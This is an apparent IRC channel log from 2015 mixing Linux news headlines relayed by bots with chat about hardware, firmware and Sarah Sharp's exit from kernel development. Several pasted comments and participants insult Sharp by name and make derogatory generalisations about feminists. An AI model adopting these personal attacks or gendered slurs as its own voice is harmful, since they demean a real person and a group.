| TweetTuxMachines | on Amazon Web Services http://t.co/71YnWu7Qfh | Oct 07 13:10 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Azul Zing goes live on Red Hat Enterprise Linux on Amazon Web Services | Tux Machines | Oct 07 13:10 | |
| schestowitz | https://www.joindiaspora.com/posts/6674034 | Oct 07 13:13 |
| -TechrightsBot-tr/#techrights-Not a Diaspora post? | Oct 07 13:14 | |
| schestowitz | https://www.joindiaspora.com/posts/6674050 | Oct 07 13:14 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #networkmanager is getting a lot better https://blogs.gnome.org/lkundrak/2015/08/27/networkmanager-1-0-6-brings-metered-connections-api-and-more/ ttps://blogs.gnome.org/lkundrak/2015/09/24/fortigate-ssl-vpn-support-added-to-networkmanager/ #freesw | Oct 07 13:14 | |
| -TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://blogs.gnome.org/lkundrak/2015/08/27/networkmanager-1-0-6-brings-metered-connections-api-and-more/ ) | Oct 07 13:14 | |
| schestowitz | https://www.joindiaspora.com/posts/6674034 | Oct 07 13:14 |
| TweetTuxMachines | @tuxmachines LibreOffice 4.4.6 to Be Last in the Series, New | Oct 07 13:15 |
| TweetTuxMachines | RC Is Out http://t.co/vQgP2SVT4J | Oct 07 13:15 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | LibreOffice 4.4.6 to Be Last in the Series, New RC Is Out | Tux Machines | Oct 07 13:15 | |
| TweetTuxMachines | @tuxmachines systemd is your friend http://t.co/tzQyXKthNR | Oct 07 13:15 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | systemd is your friend | Tux Machines | Oct 07 13:15 | |
| TweetTuxMachines | @tuxmachines What Are Linux Meta-packages? | Oct 07 13:15 |
| TweetTuxMachines | http://t.co/YfWtMmaukK (www.tuxmachines.org) | Oct 07 13:15 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | What Are Linux Meta-packages? | Tux Machines | Oct 07 13:15 | |
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| schestowitz | https://twitter.com/Twpalovi/status/651736542382301184 | Oct 07 18:08 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz How? | Oct 07 18:08 | |
| schestowitz | The #epo can just sue companies or individuals even if it knows they'll win in court. And the legal fees EPO gets covered by EU. | Oct 07 18:09 |
| schestowitz | The EPO already threatens to sue the leader of its staff union. | Oct 07 18:09 |
| schestowitz | The EPO already threatened to sue the leader of its staff union. | Oct 07 18:09 |
| schestowitz | https://twitter.com/AJimenez1988/status/651743814609145856 | Oct 07 18:11 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Simple power politics: when the Left doesn't rule it supports free speech to undermine power. When it rules, censorship ensues. | Oct 07 18:11 | |
| schestowitz | https://twitter.com/bosson/status/651792589998432256 | Oct 07 18:11 |
| -TechrightsBot-tr/#techrights-@bosson: @schestowitz other thing is glut. "Please use cocoa instead...." Less portable code.... | Oct 07 18:11 | |
| schestowitz | GLUT as in GL? (I used it back in the days to develop a game) | Oct 07 18:12 |
| MinceR | it's on top of opengl, iirc | Oct 07 18:15 |
| MinceR | possibly with glu in between | Oct 07 18:15 |
| TweetTuxMachines | @tuxmachines Down to Business with Major Deployments | Oct 07 18:28 |
| TweetTuxMachines | retweeted by https://t.co/gezQJKETeM (dot.kde.org) | Oct 07 18:28 |
| TweetTuxMachines | @dailylinuxuser | Oct 07 18:28 |
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| -TechrightsBot-tr/#techrights-dot.kde.org | Down to Business with Major Deployments | KDE.news | Oct 07 18:28 | |
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| MinceR | http://securityreactions.tumblr.com/post/130691304438/government-surveillance-programs#_=_ | Oct 07 18:47 |
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| TweetTuxMachines | @tuxmachines Red Hat News http://t.co/z5z2kbKLKX | Oct 07 19:46 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat News | Tux Machines | Oct 07 19:47 | |
| TweetTuxMachines | @tuxmachines KDE Signs the User Data Manifesto 2.0 | Oct 07 19:47 |
| TweetTuxMachines | http://t.co/0XgdPVTKjK (www.tuxmachines.org) | Oct 07 19:47 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | KDE Signs the User Data Manifesto 2.0 | Tux Machines | Oct 07 19:47 | |
| TweetTuxMachines | @tuxmachines Valve Makes SteamOS 2.0 the Official Distro, | Oct 07 19:47 |
| TweetTuxMachines | Now Based on Debian 8.2 http://t.co/TfOB3dTxEM | Oct 07 19:47 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Valve Makes SteamOS 2.0 the Official Distro, Now Based on Debian 8.2 | Tux Machines | Oct 07 19:47 | |
| schestowitz | https://twitter.com/bosson/status/651838431920803840 | Oct 07 20:27 |
| -TechrightsBot-tr/#techrights-@bosson: @schestowitz yep... Useful to small visualization projects... | Oct 07 20:27 | |
| schestowitz | I thought it had been deprecated for nearly a decade | Oct 07 20:27 |
| schestowitz | https://twitter.com/bosson/status/651842549364195329 | Oct 07 20:34 |
| -TechrightsBot-tr/#techrights-@bosson: @schestowitz The alternative is to use sdl2, and its not trivial to get working on osx. Glut is trivial anywhere as much as its limited. | Oct 07 20:34 | |
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| schestowitz | https://twitter.com/Messgorough/status/651844026807750656 | Oct 07 20:39 |
| -TechrightsBot-tr/#techrights-@Messgorough: @KhanUR1983 @schestowitz Looks like the time I drew a face on my left scrotum. | Oct 07 20:39 | |
| TweetTuxMachines | @tuxmachines Would the Internet Exist without Linux? Yes. | Oct 07 20:55 |
| TweetTuxMachines | Without Open Source? No http://t.co/JusSyQzlIV | Oct 07 20:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Would the Internet Exist without Linux? Yes. Without Open Source? No | Tux Machines | Oct 07 20:55 | |
| TweetTuxMachines | @tuxmachines Open Network Linux Simplifies Open Compute | Oct 07 20:55 |
| TweetTuxMachines | Project Switch Configuration | Oct 07 20:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Open Network Linux Simplifies Open Compute Project Switch Configuration | Tux Machines | Oct 07 20:55 | |
| TweetTuxMachines | @tuxmachines LinuxCon 2015 Report: Dirk Hohndel Chats with | Oct 07 20:55 |
| TweetTuxMachines | Linus Torvalds http://t.co/Znu43TepNe | Oct 07 20:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | LinuxCon 2015 Report: Dirk Hohndel Chats with Linus Torvalds | Tux Machines | Oct 07 20:55 | |
| TweetTuxMachines | @tuxmachines Android 6.0, Marshmallow: The complete FAQ | Oct 07 21:03 |
| TweetTuxMachines | http://t.co/5xWzSiBS7T (www.computerworld.com) | Oct 07 21:03 |
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| -TechrightsBot-tr/#techrights-www.computerworld.com | Android 6.0, Marshmallow: The complete FAQ | Computerworld | Oct 07 21:03 | |
| TweetTuxMachines | @tuxmachines KDE Signs the User Data Manifesto 2.0 | Oct 07 21:03 |
| TweetTuxMachines | https://t.co/YXWhbCWYo0 (dot.kde.org) | Oct 07 21:03 |
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| -TechrightsBot-tr/#techrights-dot.kde.org | KDE Signs the User Data Manifesto 2.0 | KDE.news | Oct 07 21:03 | |
| TweetTuxMachines | @tuxmachines Valve Makes SteamOS 2.0 the Official Distro, | Oct 07 21:03 |
| TweetTuxMachines | Now Based on Debian 8.2 http://t.co/tW3OkfLJtG | Oct 07 21:03 |
| TweetTuxMachines | (news.softpedia.com) | Oct 07 21:03 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Valve Makes SteamOS 2.0 the Official Distro, Now Based on Debian 8.2 - Softpedia | Oct 07 21:03 | |
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| TweetTuxMachines | @tuxmachines Open Network Linux Simplifies Open Compute | Oct 07 21:03 |
| TweetTuxMachines | Project Switch Configuration | Oct 07 21:03 |
| TweetTuxMachines | http://t.co/CVN9I7rWts (techcrunch.com) | Oct 07 21:03 |
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| -TechrightsBot-tr/#techrights-techcrunch.com | Open Network Linux Simplifies Open Compute Project Switch Configuration | TechCrunch | Oct 07 21:03 | |
| TweetTuxMachines | @tuxmachines LinuxCon 2015 Report: Dirk Hohndel Chats with | Oct 07 21:04 |
| TweetTuxMachines | Linus Torvalds http://t.co/75P8XiQsb3 | Oct 07 21:04 |
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| -TechrightsBot-tr/#techrights-www.linux.com | LinuxCon 2015 Report: Dirk Hohndel Chats with Linus Torvalds | Linux.com | Oct 07 21:04 | |
| TweetTuxMachines | @tuxmachines Intel Just Queued Up More Graphics Changes For | Oct 07 21:04 |
| TweetTuxMachines | The Linux 4.4 Kernel http://t.co/EcGJIM3hJM | Oct 07 21:04 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Intel Just Queued Up More Graphics Changes For The Linux 4.4 Kernel | Tux Machines | Oct 07 21:04 | |
| cubexyz | well, one of my predictions has come true: | Oct 07 21:09 |
| cubexyz | Microsoft has made their own microsoft laptop | Oct 07 21:10 |
| cubexyz | unless people education themselves, and study what is actually happening to computers they will be herded into the Microsoft camp | Oct 07 21:11 |
| cubexyz | I'm not talking about the older people who know better and know what computers were like before Microsoft ever existed (and would never switch to M$) | Oct 07 21:13 |
| cubexyz | I'm mostly talking about the younger people and more casual computer users | Oct 07 21:13 |
| TweetTuxMachines | @tuxmachines Linux Mint Devs Want to Know How Many Gamers | Oct 07 21:17 |
| TweetTuxMachines | Are Using the OS http://t.co/3Gv7bs0p6o | Oct 07 21:17 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Mint Devs Want to Know How Many Gamers Are Using the OS | Tux Machines | Oct 07 21:17 | |
| TweetTuxMachines | @tuxmachines More OpenSUSE Leap Linux Kernel Benchmarks | Oct 07 21:17 |
| TweetTuxMachines | http://t.co/RcVof9lRCg (www.tuxmachines.org) | Oct 07 21:17 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | More OpenSUSE Leap Linux Kernel Benchmarks | Tux Machines | Oct 07 21:17 | |
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| schestowitz | https://twitter.com/Twpalovi/status/651867189851627520 | Oct 07 22:15 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz That is the interesting question. | Oct 07 22:15 | |
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| msb_ | cubexyz: It's up to people like us to tell the truth about Microshit and Linux (and to encourage clean Linux without systemd) to inform people so they don't get herded. | Oct 07 22:22 |
| msb_ | schestowitz is doing a very good job at this. But we must do more than we have been. Come up with good hardware/firmware/software solutions and push them -- give the facts behind our choices, not just to individuals but to corporations, | Oct 07 22:25 |
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| msb_ | cubexyz: We need to come up with solutions for people who already have computers, and for those looking to buy new ones. We need to find solutions that don't limit people on computer power, because games, video editing -- see youtube -- and high-compression x265 videos are very popular. | Oct 07 22:28 |
| msb_ | We can't just herd people into chromebooks because they only meet some of the criteria, which include security _and_ state-of-the-cheap-art speed. | Oct 07 22:31 |
| msb_ | People will get very pissed at us if they buy machines according to our recommendations and then find that they can't do things that their friends with crappy windows computers _can_ do, because their friends have 8-core CPUs. | Oct 07 22:33 |
| schestowitz | https://twitter.com/longtheriverrun/status/651875563091660800 | Oct 07 22:44 |
| -TechrightsBot-tr/#techrights-@longtheriverrun: @schestowitz "Kunduz has a largely mixed population, including Tajiks, Pashtuns, Uzbeks, Khowar, Arabs and a few others." wikipedia | Oct 07 22:44 | |
| schestowitz | " | Oct 07 22:53 |
| schestowitz | Not *fucking* cool. Violence, whether it be physical intimidation, verbal threats or verbal abuse is not acceptable. Keep it professional on the mailing lists. | Oct 07 22:53 |
| schestowitz | What the heck? The only thing she could be referring to this thread so far has been Linus talking about Greg being a giant who might "squish you without even noticing". Nobody could seriously interpret that as advocating for violence unless you were so unbelievably literal you'd be unable to handle ordinary conversations. | Oct 07 22:53 |
| schestowitz | And then there's the conflation of "verbal abuse" with "violence". These are two words that mean very different things. And finally the assertion that by trying to make jokes (perhaps not very well), Linus and Ingo were being unprofessional. Not surprisingly, Linus had a problem with this claim. | Oct 07 22:53 |
| schestowitz | Now I don't know, probably this could have been avoided if the discussion with Greg had been private. But it seems Sharp would have let rip at some other point if someone else made an off-colour joke. I can believe LKML is a tough environment, but this isn't the best evidence possible. Perhaps there have been other incidents, but as Sharp doesn't list any, it's hard to say.” | Oct 07 22:53 |
| schestowitz | " | Oct 07 22:53 |
| schestowitz | " | Oct 07 22:54 |
| schestowitz | So she's a social justice warrior troll doing this for attention? Called it earlier. Expect her to have a Patreon account up within a few days, as well as a campaign started explaining why Linus is problematic and needs to be removed from Linux development soon, or how Linux needs a safe space special interest group so feminist coders can submit their commits without being threatened by people pointing out their code sucks. Because remember | Oct 07 22:54 |
| schestowitz | kids, criticism is "Cyber Violence. [popehat.com]"” | Oct 07 22:54 |
| schestowitz | As an aside, she's a blockbot user, so yes, she most definitely is a SJW or a SJW ally: https://twitter.com/sarahsharp | Oct 07 22:54 |
| schestowitz | (If you're blocked and have never even spoken with her, congratulations, you're a member of Randy Harper's blacklist, [leagueforgamers.com] an list of white men, gamers, nerds, conservatives, KFC, President Obama, and other people Randy Harper and her radical feminist friends consider too "problematic" to be allowed to communicate with people in the tech industry.) | Oct 07 22:54 |
| -TechrightsBot-tr/#techrights-twitter.com | Sarah Sharp (@sarahsharp) | Twitter | Oct 07 22:54 | |
| schestowitz | In short: She might be a gifted programmer, but she's a weak willed human being, and her having a professional freakout about Linus making a joke about being intimidating isn't surprising -- it's a calculated maneuver. Expect something else to come up soon -- as mentioned, Linus will be deemed too problematic to be allowed to remain in Linux, or the Professional Victims will demand special treatment for Women in Linux Development. | Oct 07 22:54 |
| schestowitz | " | Oct 07 22:54 |
| schestowitz | " | Oct 07 22:55 |
| schestowitz | Curunir: ”What struck me about what she was trying to do, and I've seen others try to do the same thing, is to equate some comment or comments on a mailing list, or other post, as "violence". When I grew up we learned that "Sticks and stones will break my bones but words will never hurt me." That is, they're just words, they are not fists or knives or guns. It's not "violence" to berate someone or use colorful language or anything else. | Oct 07 22:55 |
| schestowitz | It may "offend" you, but taking offense at something someone says is entirely subjective, and impossible to enforce, because you end up with "speech codes", banning words, and other asinine restrictions until everything is a euphemism or metaphor until no one knows what anyone is talking about any more. | Oct 07 22:55 |
| schestowitz | Bullying used to mean you're getting physically intimidated, punched, kicked, assaulted or robbed regularly. Now it seems it's enough that someone said something that hurt your feelings. And people can get their feelings hurt by things that are totally NOT intended that way by the speaker, just because of the listener's history or viewpoint. | Oct 07 22:55 |
| schestowitz | Equating speech to physical violence is a very dangerous trend that will not end well.” | Oct 07 22:55 |
| schestowitz | " | Oct 07 22:55 |
| schestowitz | " | Oct 07 22:55 |
| schestowitz | EpyT: ”Feminism presents it as a battle between male space or a female space. It's a false dichotomy. The hypocrisy is that feminists expect men to take the 'chivalrous' route and modify their interaction styles for women, yet asking women to reciprocate with some toughness and objectivity is 'oppressive' or 'misogynistic.' The net result is that men are driven out of areas where women have gotten their PC 'safe spaces' for their | Oct 07 22:55 |
| schestowitz | interaction and thinking styles because men do not do well there. Just ask a male nurse. Fighting discrimination with discrimination is not a solution. | Oct 07 22:55 |
| schestowitz | I'm a fan of what works for a given environment and given group of people. The individuals making up the bulk of the effort are the ones who decide the culture simply because they are the most productive. Anything else would drive these productive individuals out and weaken the result. Linus and his lieutenants are far more productive than sarah sharp is, and she is not happy with the interaction style they set, so she goes. No big loss. She | Oct 07 22:55 |
| schestowitz | s welcome to either adapt to that or work on a different project. If her viewpoint is truly superior and her politics in line with reality, it should be a no brainer to fork the kernel and demonstrate this. The best contributors would flock to her and, in time, her branch would be the technically superior one. She should be showing us 'misogynists' how it's done instead of whining and stirring up shitstorms.” | Oct 07 22:55 |
| schestowitz | " | Oct 07 22:55 |
| schestowitz | " Oxdeadbeef: ”This isn't empowering women. This is arguing that they are weaker than men far more profoundly than any MRA red piller gamer gater misogynist could ever hope to accomplish.” " | Oct 07 22:55 |
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| msb_ | schestowitz: Is there some place where Sarah Sharp criticizes Linus personally? Would you please give a link? | Oct 07 23:33 |
| cubexyz | I'm not saying to herd people onto chromebooks | Oct 07 23:35 |
| cubexyz | but that seems one of the better choices at the moment | Oct 07 23:35 |
| msb_ | I know. Sorry if that was implied. | Oct 07 23:35 |
| cubexyz | people should have computers with FOSS BIOS, FOSS operating system, and fully repairable | Oct 07 23:36 |
| msb_ | It's not a good choice if people want to play games, edit videos, or watch x265s, which many do. | Oct 07 23:36 |
| cubexyz | I'm at a loss to suggest anything at the laptop level | Oct 07 23:36 |
| cubexyz | I'm not totally happy with chromebooks either | Oct 07 23:37 |
| msb_ | Yes, they _should_ have that, but we need to come up with solutions that have both a good degree of security and state-of-the-cheap-art speed. | Oct 07 23:38 |
| cubexyz | not modular enough, not fully repairable, uses soldered in memory modules (sometimes) | Oct 07 23:38 |
| msb_ | We can't let the perfect be the enemy of the good. | Oct 07 23:38 |
| msb_ | So we need adequate security, good speed, and suitability for people who already have computers and those looking to buy new ones. | Oct 07 23:40 |
| cubexyz | well they may have what I'd call a bic-lighter computer | Oct 07 23:42 |
| cubexyz | in that case, it's too late | Oct 07 23:42 |
| msb_ | But they can still switch to Linux. | Oct 07 23:43 |
| cubexyz | if you have a crappy motherboard, or a crappy LCD with bad caps, it probably needs to be replaced | Oct 07 23:43 |
| cubexyz | of course, it could be repaired with a lot of effort | Oct 07 23:43 |
| msb_ | That's the ideal, but if the thing still works, a $0 partial solution is better than a $2000 solution (except for rich people). | Oct 07 23:44 |
| cubexyz | I actually have a bunch of laptops to fix | Oct 07 23:45 |
| cubexyz | bad GPU, bad keyboards, bad power supplies | Oct 07 23:45 |
| msb_ | laptop/desktop is the other dimension we have to provide for | Oct 07 23:45 |
| cubexyz | but even after I fix them I doubt anyone will really want them | Oct 07 23:45 |
| msb_ | Load them with Linux and give them to kids. | Oct 07 23:46 |
| msb_ | or schools | Oct 07 23:46 |
| msb_ | brb | Oct 07 23:48 |
| cubexyz | I still have a lot of monitors with VGA connectors so that's a concern too | Oct 07 23:56 |
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| schestowitz | https://www.reddit.com/r/mistyfront/comments/3nfzg0/the_microsoft_loves_linux_baloney_is_still_being/ | Oct 08 00:11 |
| schestowitz | [23:33] <msb_> schestowitz: Is there some place where Sarah Sharp criticizes Linus personally? Would you please give a link? | Oct 08 00:11 |
| schestowitz | yes, very much so | Oct 08 00:11 |
| -TechrightsBot-tr/#techrights-www.reddit.com | The ‘Microsoft Loves Linux’ Baloney is Still Being Floated in the Media While Microsoft Attacks Linux With Patents, New Lawsuits Reported (/r/linux) : mistyfront [ http://ur1.ca/nyco6 ] | Oct 08 00:11 | |
| schestowitz | "the fish rots from the head" | Oct 08 00:11 |
| schestowitz | that sort of thing | Oct 08 00:11 |
| schestowitz | so they did some changes, press campsign | Oct 08 00:12 |
| schestowitz | and despite that she throws a fit | Oct 08 00:12 |
| schestowitz | this is NOT going to help feminism | Oct 08 00:12 |
| schestowitz | if anything, companies might hesitate to recruit women | Oct 08 00:12 |
| schestowitz | seeing how much damage this can lead to if they feel discriminated against | Oct 08 00:12 |
| schestowitz | so such stuff typically is just drama making which in turn severely harms women's rights | Oct 08 00:12 |
| schestowitz | but let's leave gender out of it for now | Oct 08 00:13 |
| schestowitz | because some other people complain about culture in Linux | Oct 08 00:13 |
| schestowitz | LP too | Oct 08 00:13 |
| schestowitz | "open source tea party" man | Oct 08 00:13 |
| schestowitz | they're usuallly hypocrites | Oct 08 00:13 |
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| MinceR | they can push cancerd together | Oct 08 00:14 |
| MinceR | and global censorship too! | Oct 08 00:14 |
| cubexyz | it's not just Linux | Oct 08 00:15 |
| cubexyz | the BSD community is a bit exclusionistic | Oct 08 00:16 |
| cubexyz | the old US vs Them mentality | Oct 08 00:18 |
| MinceR | msb_: i think it's this one: http://sarah.thesharps.us/2015/10/05/closing-a-door/ | Oct 08 00:24 |
| -TechrightsBot-tr/#techrights-sarah.thesharps.us | Closing a door | The Geekess | Oct 08 00:25 | |
| MinceR | (linked from the hungarian news post on the matter) | Oct 08 00:25 |
| cubexyz | ok, I've found a motherboard that could be very close to ideal | Oct 08 00:29 |
| cubexyz | Gigabyte GA-B75M-D3V | Oct 08 00:29 |
| cubexyz | dual BIOS/UEFI with two 64Mbit flash chips | Oct 08 00:30 |
| cubexyz | good for tinkering | Oct 08 00:30 |
| cubexyz | you can flash it with coreboot without fear of bricking it | Oct 08 00:30 |
| cubexyz | MSI is also worthy of consideration | Oct 08 00:32 |
| cubexyz | the ship firmware update tools for Linux | Oct 08 00:32 |
| cubexyz | s/the/they/ | Oct 08 00:33 |
| cubexyz | looks like the Gigabyte board still has a parallel port and VGA connector, even better | Oct 08 00:35 |
| cubexyz | all solid capacitors | Oct 08 00:36 |
| cubexyz | LGA1155 socket | Oct 08 00:38 |
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| cubexyz | msb_, here is the CPU support list for that motherboard: | Oct 08 00:48 |
| cubexyz | http://www.gigabyte.com/support-downloads/cpu-support-popup.aspx?pid=4654 | Oct 08 00:48 |
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| cubexyz | Core i3-2120T looks interesting, only 35W | Oct 08 00:49 |
| cubexyz | Xeon E3-1220L only 20W | Oct 08 00:50 |
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| msb_ | This is just about attacks from MS [ http://ur1.ca/nyco6 ]. | Oct 08 00:51 |
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| msb_ | This one is relevant -- thanks MinceR -- http://sarah.thesharps.us/2015/10/05/closing-a-door/ . | Oct 08 00:52 |
| -TechrightsBot-tr/#techrights-sarah.thesharps.us | Closing a door | The Geekess | Oct 08 00:52 | |
| msb_ | Even Robert Pogson agrees that "Linus and others are wrong to treat abuse as emphasis. It’s not. It’s bullying," Isn't Pogson a good guy? | Oct 08 00:54 |
| cubexyz | you can disagree with Linus and still be a good guy | Oct 08 00:55 |
| cubexyz | I certainly don't agree with everything he says | Oct 08 00:55 |
| msb_ | Right. That's what I'm saying. | Oct 08 00:55 |
| MinceR | i certainly disagree with him on several matters | Oct 08 00:57 |
| msb_ | He's accepting systemd for one thing. | Oct 08 00:57 |
| MinceR | indeed. also, fedora. | Oct 08 00:57 |
| msb_ | Maybe Sharp is right, and a more civil atmosphere on LKML would have good results, like encouraging more women to participate. An environment that discourages half the human race is not good. | Oct 08 00:59 |
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| MinceR | encouraging people to silence and censor others is also not good | Oct 08 01:00 |
| XFaCE | MinceR: Lennart endorses Garrettix in 5 4 3 2... | Oct 08 01:01 |
| MinceR | continually and increasingly neutering language for the sake of political correctness is also not good | Oct 08 01:01 |
| cubexyz | double plus ungood | Oct 08 01:02 |
| MinceR | http://media.dcentertainment.com/sites/default/files/imce/2015/10-OCT/MAD-Magazine-Ben-Carson-Neurosurges-Himself_56156b98604c96.90064117.jpg | Oct 08 01:02 |
| XFaCE | MinceR: seriously tho, this scares the shit out of me | Oct 08 01:03 |
| msb_ | cubexyz: Are any of the cpus handled by that gigabyte board 8-core, $200, with speed near the AMD FX-8350? | Oct 08 01:03 |
| MinceR | there are plenty of things to scare the shit out of anybody now | Oct 08 01:03 |
| XFaCE | MinceR: Corporate influence "backing" Garrett's kernel | Oct 08 01:04 |
| MinceR | what, garrett forked linux? | Oct 08 01:04 |
| MinceR | apparently so | Oct 08 01:04 |
| XFaCE | yep | Oct 08 01:04 |
| MinceR | can the redcrap guys please fuck off and go pollute garrett's kernel then? | Oct 08 01:04 |
| MinceR | they can take their bloody kdbus too | Oct 08 01:05 |
| XFaCE | if only | Oct 08 01:05 |
| XFaCE | actually no | Oct 08 01:05 |
| XFaCE | MinceR: then an agenda begins | Oct 08 01:05 |
| XFaCE | and Garrettix becomes the "morally good" kernel project | Oct 08 01:05 |
| MinceR | that's fine, i don't plan on using it anyway | Oct 08 01:05 |
| cubexyz | for gaming the experts are saying I5 over AMD | Oct 08 01:07 |
| cubexyz | but I'm not too worried about that | Oct 08 01:07 |
| XFaCE | MinceR: : Garrettux is the only moral choice | Oct 08 01:08 |
| MinceR | the sjws can have systemd/garrettix for all i care | Oct 08 01:08 |
| MinceR | they can even lock gnome and kde into it | Oct 08 01:08 |
| cubexyz | quoting: "i5 2500K >>>>> FX 8150" | Oct 08 01:08 |
| cubexyz | depends on what you use your computer for... for me, it's not a big deal either way | Oct 08 01:08 |
| MinceR | XFaCE: yeah, one more group with their own bullshit "morality", like christians | Oct 08 01:09 |
| XFaCE | MinceR: meet the new boss, same as the old boss | Oct 08 01:09 |
| MinceR | i'm tired of people with unwarranted self-importance but no technical skills trying to fuck up everything for everyone | Oct 08 01:09 |
| msb_ | Abusive language is not necessary for criticizing code. And if it discourages women from participating, then it should not be used. Abusive language is a form of domination, with a winner and a loser. We need to get away from that. | Oct 08 01:11 |
| MinceR | except what they're doing is also a form of domination | Oct 08 01:11 |
| MinceR | what the UN is doing with it should make that obvious. | Oct 08 01:12 |
| XFaCE | MinceR: I just shuddered | Oct 08 01:13 |
| msb_ | Sharp is withdrawing and calmly criticizing. That's not domination. | Oct 08 01:13 |
| XFaCE | MinceR: what if this Garrettix leads to a Microsoft Linux | Oct 08 01:13 |
| MinceR | there have been m$ linuxes for a while already | Oct 08 01:13 |
| MinceR | suse, for example | Oct 08 01:13 |
| XFaCE | yeah but, the kernel itself | Oct 08 01:14 |
| XFaCE | NTLinux or some shit | Oct 08 01:14 |
| MinceR | that's fine, as long as they don't force it on me | Oct 08 01:14 |
| XFaCE | MinceR: I'm betting that'll be the case for 30 seconds | Oct 08 01:14 |
| MinceR | they already have their atrocious code in the official linux tree | Oct 08 01:14 |
| cubexyz | you just have to check everything | Oct 08 01:15 |
| MinceR | it's about as shitty as you'd expect | Oct 08 01:15 |
| cubexyz | check the OS, check the firmware, check the motherboard... | Oct 08 01:15 |
| MinceR | we'd have to build a free computer from the ground up anyway | Oct 08 01:15 |
| XFaCE | cubexyz: Now Systemd can link to your Microsoft account (TM)! | Oct 08 01:15 |
| MinceR | lol | Oct 08 01:15 |
| cubexyz | not on openbsd it can't :) | Oct 08 01:15 |
| cubexyz | I bet I see some conversions... | Oct 08 01:16 |
| XFaCE | microsoftd | Oct 08 01:16 |
| XFaCE | cubexyz: Plan 9 | Oct 08 01:16 |
| XFaCE | Linux-libre too | Oct 08 01:16 |
| msb_ | cubexyz: The i5 2500K costs twice as much as the FX-8350 $360 vs $180, and gives 2/3 the power 6000 vs 9000 | Oct 08 01:20 |
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| msb_ | Women are inherently just as good at technical stuff as men. I read decades ago that half the mathematicians in Russia and Italy are women. | Oct 08 01:23 |
| MinceR | who said they weren't? | Oct 08 01:25 |
| msb_ | Nobody, but if chronically abusive language in the LKML discourages them from participating in kernel design, that's a good reason to change the language, since the same criticisms of the code can still be communicated. | Oct 08 01:27 |
| MinceR | if it's people like garrett and poettering, then perhaps it's a good thing they're discouraged from participating | Oct 08 01:29 |
| MinceR | do you have any concrete examples of this "chronically abusive language"? | Oct 08 01:30 |
| msb_ | Linus is famous for it. | Oct 08 01:31 |
| MinceR | do you have any concrete examples? | Oct 08 01:31 |
| MinceR | especially ones that discourage people from participating, as opposed to discouraging people from trying to push stupid shit into the kernel | Oct 08 01:31 |
| msb_ | google for Linus abusive language 64000 hits | Oct 08 01:33 |
| MinceR | do you not have access to google? | Oct 08 01:33 |
| msb_ | The problem is that abusive language "discouraging people from trying to push stupid shit into the kernel" also creates an intimidating atmosphere for other people. | Oct 08 01:34 |
| msb_ | And it's unnecessary. | Oct 08 01:35 |
| MinceR | so every patch should be integrated into the mainline kernel, lest somebody be offended? | Oct 08 01:35 |
| MinceR | also, how is giving feedback on people's code and designs "unnecessary"? | Oct 08 01:35 |
| msb_ | You totally misinterpreted what I said. | Oct 08 01:35 |
| msb_ | and you did it again. | Oct 08 01:35 |
| MinceR | does all code have equal right to run on my computer? | Oct 08 01:35 |
| msb_ | #3 | Oct 08 01:36 |
| msb_ | keep going -- you're on a roll downhill into the mud | Oct 08 01:36 |
| MinceR | once again, do you have any concrete examples of "chronically abusive language" that discourages people from participating, as opposed to discouraging people from trying to push stupid shit into the kernel | Oct 08 01:36 |
| MinceR | ooh, ad hominem | Oct 08 01:36 |
| msb_ | Yes, in response to three presumably intentional misinterpretations of what I said. | Oct 08 01:37 |
| MinceR | you still owe all of us the official interpretation | Oct 08 01:37 |
| MinceR | as well as any concrete examples of "chronically abusive language" that discourages people from participating, as opposed to discouraging people from trying to push stupid shit into the kernel | Oct 08 01:37 |
| msb_ | I said that abusive language should be eliminated, " since the same criticisms of the code can still be communicated." That was ten minutes ago. | Oct 08 01:38 |
| cubexyz | another amusing sham message: | Oct 08 01:39 |
| cubexyz | http://www.maxhost.org/other/sham-windows-security-message.png | Oct 08 01:39 |
| MinceR | lol | Oct 08 01:39 |
| cubexyz | I'm surprised it doesn't say the "Communists are holding your Mother" | Oct 08 01:40 |
| MinceR | msb_: perhaps you should start eliminating abusive language from your own communication first. | Oct 08 01:40 |
| MinceR | cubexyz: lol | Oct 08 01:41 |
| XFaCE | MinceR: ur a poo poo head | Oct 08 01:42 |
| msb_ | MinceR: you do it against me far more often than I do it against you | Oct 08 01:42 |
| MinceR | msb_: that's probably false, but the point is that you're the one trying to use it to generate the illusion of a moral high ground you never had | Oct 08 01:44 |
| MinceR | you're trying to have all the cakes and eat all of them too | Oct 08 01:44 |
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| msb_ | MinceR: Please avoid talking about me in this discussion, which is about abusive language in the LKML. | Oct 08 01:46 |
| MinceR | msb_: you too. | Oct 08 01:47 |
| msb_ | There are some examples in this article from two years ago: http://arstechnica.com/information-technology/2013/07/linus-torvalds-defends-his-right-to-shame-linux-kernel-developers/ | Oct 08 01:48 |
| -TechrightsBot-tr/#techrights-arstechnica.com | Linus Torvalds defends his right to shame Linux kernel developers | Ars Technica [ http://ur1.ca/nyddh ] | Oct 08 01:48 | |
| MinceR | naturally, it comes from m$ spokeshole Arse Technica | Oct 08 01:48 |
| MinceR | m$ and crApple tries every last trick from the book in an attempt to eliminate competition and turn computers into zombies in their botnets | Oct 08 01:51 |
| msb_ | Starhawk talks about "power with" instead of "power over". IOW working cooperatively with people instead of dominating them. | Oct 08 01:51 |
| MinceR | and what's their design and code like? | Oct 08 01:52 |
